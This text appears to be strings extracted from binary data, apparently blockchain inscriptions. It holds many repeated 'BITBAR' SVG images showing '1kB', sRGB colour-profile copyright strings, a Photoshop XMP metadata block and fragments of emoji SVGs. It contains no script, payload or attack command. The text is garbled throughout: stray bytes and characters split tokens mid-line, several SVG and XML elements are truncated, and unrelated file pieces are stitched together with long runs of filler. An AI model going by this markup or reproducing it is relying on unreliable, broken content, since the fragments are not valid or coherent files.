 99d16bc6a2778a71025be837e13d3d68H0E
!#%'*-047:=?ADGJMQSUWZ]`cfghjlnqtx{
APNG Assembler 3.0^E,
text/plain;charset=utf-8
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
+?7BA>7<;ENcTEI^K;<VvW^gjopoCSz
3kG<Gkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
QQQQSz********UQQQSR
((((((((((((((((((((((((((((((((((((((((((((((((((
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.15M
7747, 2015/03/30-23:40:42        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"M
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmpMM:DocumentID>adobe:docid:photoshop:35d10a4d-ab4b-11ed-a616-fe33a7197b7f</xmpMM:DocumentID>
         <xmpMM:InstanceID>xmp.iid:9975ba28-c513-7e42-b381-045a3a78f927</xmpMM:InstanceID>
         <xmpMM:OriginalDocumentID>DB49D0439357658641337A71F3BC6F0A</xmpMM:OriginalDocumentID>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stM
Evt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:f65e8e8d-8b7e-9e4e-a57d-5f8285b8b9b1</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:03:16+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from iM
mage/jpeg to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from image/jpeg to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:9c7579d8-bada-be4c-9e41-fb0d6fc17452</stEvt:instanceID>
                  <stEvt:wheM
n>2023-02-13T02:03:16+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:80602eee-3e3b-da41-9973-0fe676b25a32</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:14:29+08:00</stEvt:when>
                  <stEvt:softwareAgenM
t>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from image/png to application/vnd.adobe.photoshop</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted M
from image/png to application/vnd.adobe.photoshop</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:e60d0d80-c111-e748-a84e-c9db7d43d079</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:14:29+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:a5c606d5-6b77-394b-87c5-737d6ad8c6df</stEvt:instanceID>
                  <stEvt:when>2023-02-13T11:05:25+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
     <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from application/vnd.adobe.photoshop to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from application/vnd.adobe.photoshop to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:9975ba28-c513-7e42-b381-045a3a78f927</stEvt:instanceID>
                  <stEvt:when>2023-02-13T11:05:25+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:a5c606d5-6b77-394b-87c5-737d6ad8c6df</sM
            <stRef:documentID>adobe:docid:photoshop:9f9f6bf8-ab00-11ed-bc9c-fe399e645a46</stRef:documentID>
            <stRef:originalDocumentID>DB49D0439357658641337A71F3BC6F0A</stRef:originalDocumentID>
         </xmpMM:DerivedFrom>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <xmp:CreateDate>2023-02-12T23:06:35+08:00</xmp:CreateDate>
         <xmp:ModifyDate>2023-02-13T11:05:25+08:00</xmp:ModifyDate>
         <xmp:MetadataDate>2023-02-M
13T11:05:25+08:00</xmp:MetadataDate>
         <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>
         <tiff:ImageWidth>3000</tiff:ImageWidth>
         <tiff:ImageLength>3000</tiff:ImageLength>
         <tiff:BitsPerSample>
            <rdf:Seq>
               <rdf:li>8</rdf:li>
               <rdf:li>8</rdf:li>
               <rdf:li>8</rdf:li>
            </rdf:Seq>
         </tiff:BitsPerSample>
         <tiff:PhotometricInterpretation>2</tiff:PhotometricInterpretation>
         <tiff:OrientM
ation>1</tiff:Orientation>
         <tiff:SamplesPerPixel>3</tiff:SamplesPerPixel>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/10000</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ExifVersion>0231</exif:ExifVersion>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>1024</exif:PixelXDimension>
         <exif:PixelYDimension>1024</exif:PixelYDimension>
      </rdf:Description>










                        M





                                       M





                                                      M





                                                                     M





                                                                                    M




                                                                                                   M










                            M





                                           M





                                                          M





                                                                         M





                                                                                        M















                                M





                                               M





                                                              M





                                                                             M





                                                                                            M










                     M





                                    Lr

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1080 1920" xml:space="preserve" style="background:#b16f29;font-family:monospace"><style>@media (min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g{transform:translate(15%,7%)scale(1.5)}}/*BITBAR - TAKING UP BLOCKSPACE SINCE 2023*/</style><path style="fill:#b16f29" d="M0 0h1080v1920H0z"/><path d="M911.9 172.7s-.6 1148.3-.1 1370.2c.1 28.4 2.6 56.8 7.4 84.7l22.3 123.9V274.1l-29.6-101.4zm-49.2 1384.8H220.8c-20.9 0-38.8 15-42.3 35.7l-26 151.2c-3.7 20.2 16.M
9 34.8 33.9 34.8h708.3c16.9 0 36.8-17.1 33.9-34.8L902 1590.5c-3.4-19.1-19.9-33-39.3-33zm-723.3 194.1 22.4-123.9c4.9-28 7.3-56.3 7.4-84.7.5-222-.1-1370.3-.1-1370.3l-29.7 101.4v1477.5zM873 139.6H207.9c-15.4 0-27.8 12.5-27.8 27.8v1347.9c0 17.2 13.9 31.1 31.1 31.1h658.6c17.2 0 31.1-13.9 31.1-31.1V167.4c0-15.4-12.6-27.8-27.9-27.8z" style="fill:#fed65c;transform-origin:50%"/><g style="transform-origin:50%"><text text-anchor="middle" x="50%" y="48%" style="fill:#b16f29;font-size:248px">1kB</text></g></svg>h!
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
      <path fill="#fcea2b" d="M38,13.7c-12.7025,0-23,10.2975-23,23s10.2975,23,23,23,23-10.2975,23-23c-.0018-12.7018-10.2982-22.9982-23-23Z"/>
      <path fill="#fcea2b" d="M10,34.3l6.6-6.3c1.7,1.3,2.6,.9,4.7,.8,2-.1,3.3-2.3,5.6-2.7,2.1-.4,3.3-1.5,2.6-2.8-.5036-.6877-1.3723-1.0036-2.2-.8-2.1,.5-4.7,1.4-6.5,1,0,0,7.8988-5.1721,13.6988-9.4721,.2209-.1343,.2911-.4222,.1569-.6431-.039-.0641-.0928-.1179-.1569-.156M
9-.8-.5-2.8988-1.1279-6.0988,.2721l-13,6.8s-5.2512,4.2515-8.1512,6.4515l-.9023,.7401,2.9785,6.8084h.675Z"/>
      <g id="line-3">
        <path fill="none" stroke="#000" stroke-miterlimit="10" stroke-width="2" d="M35.6,13.9c.7302-.0832,1.4652-.1166,2.2-.1,12.7025,0,23,10.2975,23,23s-10.2975,23-23,23-23-10.2975-23-23h0c.0076-2.3758,.3785-4.7364,1.1-7"/>
        <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M28.9,M
43.8l5.9,.5c2.0618,.2,4.1382,.2,6.2,0l6-.5"/>
        <path d="M31.9,31.8c0,1.6569-1.3431,3-3,3s-3-1.3431-3-3,1.3431-3,3-3h0c1.6549,.0047,2.9953,1.3451,3,3"/>
        <path d="M49.9,31.8c0,1.6569-1.3431,3-3,3s-3-1.3431-3-3,1.3431-3,3-3h0c1.627-.0298,2.9702,1.265,3,2.892,.0007,.036,.0007,.072,0,.108"/>
      <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10.3,34l7.3-5.9c1.7,1.3,1.8,1.1,3.9,1,2.5,0,4.2-2.7,7.1-3,2.7-.5,2.1-3.2,.4-3.4l-7.3,.9s8.6-5.5,14.4L
-9.9c0,0-1.0156-.9766-2.9004-1.2451-1.1309-.1611-2.5746-.0674-4.2996,.6451l-10.3,5.6c-1.9183,1.0122-3.7278,2.2185-5.4,3.6-2.3,1.8-4.2,3.3-6,4.7"/>
((((((((((((((((((((((((((((((((((((((((((((((((((
<svg id="emoji" viewBox="0 0 72 72" xmlns="http://www.w3.org/2000/svg">
    <g id="color-2">
      <circle cx="36.0001" cy="36" r="22.9999" fill="#fcea2b"/>
    <path fill="#92d3f5" d="M44.5416,46.2169a3.6376,3.6376,0,0,1-1.1052-2.5764c-.0405-3.2205,2.9651-6.34,3.0929-6.4712a.6891.6891,0,0,1,.9748-.0123c.1313.1281,3.2143,3.1713,3.2555,6.3924l0,0a3.6626,3.6626,0,0,1-6.2183,2.6673Z"/>
    <circle cx="36" cy="36" r="23" fill="none" stroke="#000" stroke-linecap="round" sM
troke-linejoin="round" stroke-width="2"/>
    <path fill="none" stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M44.1521,45.7678a20.0408,20.0408,0,0,1-17.967-.8385"/>
    <path d="M30,31a3,3,0,1,1-3-3,3.0011,3.0011,0,0,1,3,3"/>
